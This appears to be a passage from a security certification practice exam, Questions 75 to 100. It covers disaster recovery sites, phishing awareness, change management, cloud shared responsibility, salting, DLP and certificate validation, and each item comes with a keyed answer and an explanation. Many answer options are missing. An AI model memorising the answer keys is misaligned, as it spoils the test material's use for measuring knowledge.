ExplanationConfidential classification recognizes that the critical project information is sensitive and must not be disclosed to unauthorized parties. Restricted classification adds the tighter handling and access limitations appropriate to especially sensitive government work. Together, these labels reflect both the sensitivity of the files and the narrow need for authorized access.
Question 75
Single choice
A company that is located in an area prone to hurricanes is developing a disaster recovery plan and looking at site considerations that allow the company to immediately continue operations. Which of the following is the best type of site for this company?
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D
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Correct answerD
ExplanationImmediate continuation requires a recovery location that is already equipped, operational, and ready to assume production work with minimal activation. A hot site is maintained for that rapid transition. A warm site needs additional restoration or configuration, and a cold site supplies facilities but requires substantially more setup before operations can resume.
Question 76
Single choice
A manager receives an email that contains a link to receive a refund. After hovering over the link, the manager notices that the domain's URL points to a suspicious link. Which of the following security practices helped the manager to identify the attack?
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D
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Correct answerA
ExplanationEnd user training teaches employees to pause before following unexpected links and to inspect the actual destination for mismatched or suspicious domains. The manager applied that behavior by hovering over the refund link before opening it. URL scanning would be an automated technical control, whereas the described detection came from the user's awareness and action.
Question 77
Single choice
Which of the following should a security administrator adhere to when setting up a new set of firewall rules?
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A
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B
Incident response procedure
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C
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D
Change management procedure
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Correct answerD
ExplanationNew firewall rules alter security enforcement and can unintentionally block required traffic or permit unwanted access. A change management procedure provides the appropriate path for documenting, reviewing, approving, testing, scheduling, and tracking that modification. Disaster recovery, incident response, and business continuity plans address disruptive events rather than routine controlled configuration changes.
Question 78
Single choice
Which of the following is the best way to improve the confidentiality of remote connections to an enterprise's infrastructure?
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A
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B
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D
Intrusion detection systems
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Correct answerB
ExplanationA virtual private network creates an encrypted tunnel between the remote endpoint and the enterprise infrastructure. Encryption protects the confidentiality of data crossing untrusted networks and prevents intercepted traffic from being read. Firewalls and intrusion detection control or observe traffic, while logging records events without concealing content.
Question 79
Single choice
Which of the following is most likely in a responsibility matrix in a cloud computing environment?
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A
The customer is responsible for information and data regardless of the cloud model used.
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B
The cloud provider is responsible for account and identity management for connected devices.
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C
The customer and the cloud provider share responsibility for the physical network infrastructure.
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D
The cloud provider is responsible for the security of endpoints connected to the infrastructure.
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Correct answerA
ExplanationCloud responsibility changes with the service model, but the customer remains accountable for its information and data. A provider can secure portions of the underlying cloud infrastructure without deciding the customer's data ownership, classification, access needs, or proper use. Endpoint and identity responsibilities do not automatically transfer to the provider.
Question 80
Single choice
Which of the following best describes a use case for a DNS sinkhole?
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A
Attackers can see a DNS sinkhole as a highly valuable resource to identify a company's domain structure.
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B
A DNS sinkhole can be used to draw employees away from known-good websites to malicious ones owned by the attacker.
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C
A DNS sinkhole can be used to capture traffic to known-malicious domains used by attackers.
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D
A DNS sinkhole can be set up to attract potential attackers away from a company's network resources.
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Correct answerC
ExplanationA DNS sinkhole changes resolution for known-malicious domains so requests are directed to a controlled destination instead of attacker infrastructure. This both interrupts the malicious connection and captures traffic or request details that help identify affected systems. It differs from a honeypot, which attracts attackers to a decoy service rather than intercepting domain-based outbound traffic.
Question 81
Single choice
An accountant is transferring information to a bank over FTP. Which of the following mitigations should the accountant use to protect the confidentiality of the data?
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A
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B
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C
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D
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Correct answerC
ExplanationEncryption transforms the transferred information into ciphertext that cannot be understood without the appropriate key. Because FTP transfer traffic otherwise exposes data in transit, applying encryption protects the bank information's confidentiality against anyone who intercepts the communication.
Question 82
Single choice
A hosting provider needs to prove that its security controls have been in place over the last six months and have sufficiently protected customer data. Which of the following would provide the best proof that the hosting provider has met the requirements?
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A
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B
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C
CIS Top 20 compliance reports
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D
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Correct answerB
ExplanationA SOC 2 Type 2 report evaluates whether specified controls operated effectively throughout a defined period, not merely whether they were suitably designed on one date. A six-month review period can therefore provide evidence that the hosting provider continuously applied controls protecting customer data. A framework or vulnerability report does not provide the same period-based assurance of control operation.
Question 83
Single choice
A company is working with a vendor to perform a penetration test. Which of the following includes an estimate about the number of hours required to complete the engagement?
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A
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D
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Correct answerA
ExplanationA statement of work, or SOW, defines the specific penetration-testing engagement, including scope, tasks, deliverables, schedule, and estimated labor. The anticipated number of hours belongs in that project-level description, rather than in an NDA or a service-level performance agreement.
Question 84
Single choice
An organization is preparing to export proprietary software to a customer. Which of the following would be the best way to prevent the loss of intellectual property?
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A
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B
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C
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D
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Correct answerB
ExplanationObfuscation transforms source or executable code into a form that is harder for a recipient to understand and reverse engineer while retaining its intended operation. This makes proprietary implementation details more difficult to extract after the software is exported.
Question 85
Single choice
In order to strengthen a password and prevent a hacker from cracking it, a random string of 36 characters was added to the password. Which of the following best describes this technique?
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A
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B
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D
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Correct answerD
ExplanationSalting adds a random value to a password before its hash is calculated and stored. The added 36-character string causes identical passwords to produce different stored hashes and makes precomputed hash tables ineffective. An attacker must therefore perform separate cracking work for each salted password record.
Question 86
Single choice
A security practitioner completes a vulnerability assessment on a company's network and finds several vulnerabilities, which the operations team remediates. Which of the following should be done next?
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A
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B
Initiate a penetration test.
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C
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D
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Correct answerC
ExplanationRemediation is not complete until the organization verifies that the identified weaknesses are no longer detectable. Rescanning the network applies the vulnerability assessment again to the remediated systems, confirming whether the fixes worked and identifying any remaining findings. A penetration test has a different objective and should not replace direct validation of the completed remediation.
Question 87
Single choice
The Chief Information Security Officer (CISO) has determined the company is non-compliant with local data privacy regulations. The CISO needs to justify the budget request for more resources. Which of the following should the CISO present to the board as the direct consequence of non-compliance?
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A
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D
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Correct answerA
ExplanationFines are a direct, measurable financial penalty that regulators can impose when an organization violates data privacy requirements. Presenting that exposure connects the compliance gap to an immediate budget consequence the board can quantify. Reputational damage may follow public knowledge of a violation, but it is an indirect business effect rather than the direct regulatory cost.
Question 88
Single choice
Which of the following roles, according to the shared responsibility model, is responsible for securing the company's database in an IaaS model for a cloud environment?
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A
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B
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D
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Correct answerA
ExplanationIn an IaaS model, the cloud provider secures the underlying physical and virtualization infrastructure, while the client controls what it deploys on that infrastructure. The company's database, including its configuration, access controls, and data protection, remains within the client's security responsibility. A DBA may perform the work, but the responsibility belongs to the client organization.
Question 89
Single choice
A systems administrator successfully configures VPN access to a cloud environment. Which of the following capabilities should the administrator use to best facilitate remote administration?
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A
A jump host in the shared services security zone
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B
An SSH server within the corporate LAN
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C
A reverse proxy on the firewall
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D
An MDM solution with conditional access
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Correct answerA
ExplanationThe VPN already provides the secure connection into the cloud environment. A jump host in the shared services security zone then supplies a controlled administration point from which authorized personnel can reach managed resources, concentrating privileged access instead of exposing administrative interfaces broadly.
Question 90
Single choice
Which of the following uses proprietary controls and is designed to function in harsh environments over many years with limited remote access management?
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A
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B
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C
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D
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Correct answerA
ExplanationICS environments control industrial machinery and physical processes, often through specialized or proprietary protocols and equipment. Such systems are designed for long operational lifetimes and reliable use under harsh conditions, while remote management can be constrained. Those characteristics distinguish ICS from general computing platforms.
Question 91
Single choice
The application development teams have been asked to answer the following questions: 1. Does this application receive patches from an external source? 2. Does this application contain open-source code? 3. Is this application accessible by external users? 4. Does this application meet the corporate password standard? Which of the following are these questions part of?
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A
Risk control self-assessment
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B
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C
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D
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Correct answerA
ExplanationA risk control self-assessment asks the team responsible for an application to evaluate its own risk exposures and control compliance. Questions about external patches, open-source code, external access, and password standards identify relevant conditions and whether controls are present. The results can then support broader risk evaluation.
Question 92
Single choice
A security manager created new documentation to use in response to various types of security incidents. Which of the following is the next step the manager should take?
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A
Set the maximum data retention policy.
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B
Securely store the documents on an air-gapped network.
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C
Review the documents' data classification policy.
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D
Conduct a tabletop exercise with the team.
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Correct answerD
ExplanationOnce incident-response documentation has been created, the team should exercise it before relying on it during a real event. Conducting a tabletop exercise walks participants through realistic incident scenarios, revealing unclear procedures, missing responsibilities, and coordination gaps. The findings can then be used to refine the documents and improve team readiness.
Question 93
Single choice
A security operations center determines that the malicious activity detected on a server is normal. Which of the following activities describes the act of ignoring detected activity in the future?
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D
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Correct answerA
ExplanationTuning adjusts monitoring rules, signatures, or thresholds so known benign behavior no longer generates unwanted alerts. Once analysts establish that the server activity is normal, tuning can suppress future detections of that specific pattern while preserving useful monitoring. Archiving stores records, and quarantining isolates a suspected threat.
Question 94
Single choice
Which of the following is used to validate a certificate when it is presented to a user?
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D
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Correct answerA
ExplanationOCSP provides a way to check the current revocation status of a presented digital certificate. A client can query for the certificate's status and determine whether it remains valid or has been revoked before trusting it. A CSR requests issuance, a CA issues and signs certificates, and CRC detects accidental data errors.
Question 95
Single choice
A technician wants to improve the situational and environmental awareness of existing users as they transition from remote to in-office work. Which of the following is the best option?
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A
Send out periodic security reminders.
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B
Update the content of new hire documentation.
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C
Modify the content of recurring training.
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D
Implement a phishing campaign
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Correct answerC
ExplanationThe affected population consists of existing employees whose working environment is changing. Modifying recurring training lets the organization teach those users about the physical, situational, and environmental risks associated with returning to the office. New-hire documentation would not reliably reach current staff, while a phishing campaign addresses a narrower threat.
Question 96
Single choice
The local administrator account for a company's VPN appliance was unexpectedly used to log in to the remote management interface. Which of the following would have most likely prevented this from happening'?
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A
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B
Changing the default password
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C
Assigning individual user IDs
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D
Reviewing logs more frequently
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Correct answerB
ExplanationLocal administrator accounts on appliances commonly require immediate replacement of any initial credential supplied with the device. Changing the default password removes a credential that an unauthorized person may already know or readily obtain, directly preventing login with that unchanged value. Log review would only identify use afterward.
Question 97
Single choice
A security analyst must identify abnormal behavior on the server. Which of the following does the analyst most likely need to do?
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A
Disable unnecessary ports.
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B
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C
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D
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Correct answerC
ExplanationAbnormal behavior can be recognized only in relation to an understood normal state. Establishing baselines records expected server activity, such as typical resource use, traffic, processes, and access patterns. Current observations can then be compared with that reference so meaningful deviations are identified for investigation.
Question 98
Single choice
Which of the following security measures is required when using a cloud-based platform for IoT management?
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A
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B
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D
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Correct answerA
ExplanationIoT management sends device status, commands, credentials, and configuration information between devices and the cloud platform. An encrypted connection protects that traffic from being read or altered while traversing networks outside the organization's direct control. Federated identity and single sign-on address user authentication convenience, but they do not protect the device-management traffic itself.
Question 99
Single choice
Which of the following tools can assist with detecting an employee who has accidentally emailed a file containing a customer's PII?
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A
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B
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D
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Close answer details
Correct answerD
ExplanationDLP examines data as it is stored, used, or transmitted and can identify sensitive content such as customer PII. Applying DLP controls to outbound email can detect or block a message containing that information, including an accidental disclosure by an employee. The other tools do not primarily inspect communications for sensitive-data policy violations.
Question 100
Single choice
Which of the following is a directive managerial control?
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A
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B
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C
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D
Reveal answer details
Close answer details
Correct answerA
ExplanationAn acceptable use policy is a managerial control because management establishes it to govern how personnel may use organizational systems and resources. It is directive because it communicates required and prohibited behavior. Warning banners and signs are operational notices rather than the governing managerial policy itself.
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